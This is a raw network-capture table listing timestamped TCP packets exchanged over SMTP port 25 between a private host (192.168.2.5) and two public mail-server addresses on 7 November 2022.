Nov 7, 2022 22:24:53.365163088 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365151882 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365151882 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365190029 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365215063 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365241051 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365267038 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365277052 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365278006 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365278006 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365278006 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365294933 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365319967 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365333080 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365333080 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365333080 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365348101 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365376949 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365381956 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365381956 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365411043 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365422010 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365422010 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365438938 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365459919 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365464926 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365493059 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365500927 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365518093 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.365536928 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365536928 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365571022 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.365998030 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366018057 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366070032 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366091967 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366091967 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366132021 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366189957 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366211891 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366264105 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366291046 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366308928 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366313934 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366338968 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366364002 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366370916 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366384029 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366405010 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366419077 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366420031 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366430044 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366453886 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366468906 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366468906 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366477013 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366497040 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366518021 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366518974 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366560936 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366585970 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366597891 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366597891 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366611004 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366636038 CET	25	49820	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:53.366645098 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366646051 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366683960 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.366683960 CET	49820	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:53.398494005 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398545027 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398572922 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398597956 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398627043 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398648024 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398653030 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398648024 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398679018 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398690939 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398708105 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398739100 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398766994 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398794889 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398819923 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398847103 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398886919 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398916960 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398938894 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398938894 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398945093 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398973942 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.398977995 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398977995 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398977995 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398998976 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.398998976 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.399000883 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.399018049 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.399029016 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.399055958 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.399061918 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.399099112 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453248024 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453293085 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453322887 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453347921 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453361988 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453372002 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453393936 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453394890 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453417063 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453423977 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453440905 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453444958 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453464031 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453468084 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453481913 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453490973 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453497887 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453507900 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453522921 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453541040 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453557968 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453567982 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453581095 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453596115 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453614950 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453629017 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453661919 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453680038 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453701973 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453723907 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453747034 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453748941 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453771114 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453773022 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453794956 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453797102 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453813076 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453818083 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453831911 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453855991 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453875065 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453881025 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453903913 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453926086 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453939915 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453943014 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453957081 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453970909 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.453982115 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.453999996 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454020023 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454035997 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454041958 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454065084 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454083920 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454087019 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454083920 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454114914 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454114914 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454144001 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454144001 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454145908 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454163074 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454169035 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454193115 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454194069 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454210997 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454215050 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454237938 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454246044 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454260111 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454272985 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454281092 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.454289913 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454303026 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.454320908 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.507610083 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.507735968 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.507793903 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.507859945 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508011103 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508094072 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508191109 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508281946 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508307934 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508332968 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508383036 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508416891 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508440018 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508507967 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508606911 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508621931 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508712053 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508745909 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508779049 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508789062 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508810043 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508838892 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508869886 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508892059 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508899927 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508930922 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508932114 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508965015 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.508968115 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.508997917 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509031057 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509047985 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509047985 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509073019 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509095907 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509109020 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509119987 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509141922 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509157896 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509176016 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509177923 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509200096 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509218931 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509221077 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509243965 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509263992 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509268045 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509279966 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509295940 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509319067 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509336948 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509349108 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509360075 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509366035 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509366035 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509372950 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509392023 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509397984 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509433985 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509447098 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509459019 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509480953 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509481907 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509481907 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509502888 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509520054 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509526014 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509536028 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509557009 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509577990 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509599924 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509599924 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509620905 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509629965 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509643078 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509660959 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509661913 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509682894 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509687901 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509705067 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509731054 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509737015 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509752989 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509771109 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509778976 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509798050 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509819984 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509825945 CET	49848	25	192.168.2.5	142.250.150.27
Nov 7, 2022 22:24:53.509844065 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509869099 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509891033 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509913921 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509938955 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509960890 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.509983063 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510021925 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510046005 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510063887 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510076046 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510099888 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510126114 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510149956 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510174036 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510198116 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510222912 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510255098 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510277987 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510298967 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510334969 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510365963 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510390997 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.510413885 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.561897039 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.561949015 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.561975956 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.562000990 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.562089920 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.562119007 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564511061 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564558029 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564583063 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564606905 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564630985 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564656973 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564683914 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564709902 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564740896 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564769983 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564829111 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564856052 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564882040 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564908981 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564934969 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564960957 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.564986944 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565013885 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565040112 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565068007 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565093994 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565120935 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565145969 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565174103 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565200090 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565227032 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565251112 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565278053 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565304995 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565331936 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565356970 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565383911 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565409899 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565437078 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565463066 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565490007 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565516949 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565543890 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565571070 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565598011 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565623999 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565650940 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565676928 CET	25	49848	142.250.150.27	192.168.2.5
Nov 7, 2022 22:24:53.565704107 CET	25	49848	142.250.150.27	192.168.2.5
